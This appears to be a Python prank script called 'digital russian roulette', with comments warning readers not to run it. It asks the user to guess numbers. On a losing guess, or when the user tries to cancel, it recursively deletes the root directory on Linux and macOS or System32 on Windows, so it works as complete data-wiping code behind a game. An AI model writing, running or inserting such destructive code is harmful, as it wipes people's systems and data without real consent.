# digital russian roulette # DO N O T run this!!!! just dont # if you really really wanna try do it in a vm # funny game import os import shutil import sys import random directory_to_remove = "" if sys.platform == "linux": print("Detected Linux...") directory_to_remove = "/" elif sys.platform == "win32": print("Detected Windows (win32)") directory_to_remove = "C:\\Windows\\System32" elif sys.platform == "darwin": print("Detected MacOS (darwin)") directory_to_remove = "/" else: print("we couldn't figure out what operating system you use.") print("what the frankenstein are you using? custom kernel?") print("exiting... no russian roulette for you.") sys.exit(1) rands = [str(random.randint(1, 6))] #print(f"debug test: the number is {rand}") while len(rands) != 5: try: guess = input("heres a fun game, pick a random number from 1 to 6: ") except KeyboardInterrupt: print("You think you can try to cancel it?") print(f"Deleting {directory_to_remove}...") shutil.rmtree(directory_to_remove) sys.exit(1) if guess not in rands: print("You're safe... for now :)") rands.append(str(random.randint(1,6))) else: print("You lose!") print(f"Deleting {directory_to_remove}...") shutil.rmtree(directory_to_remove) sys.exit(0)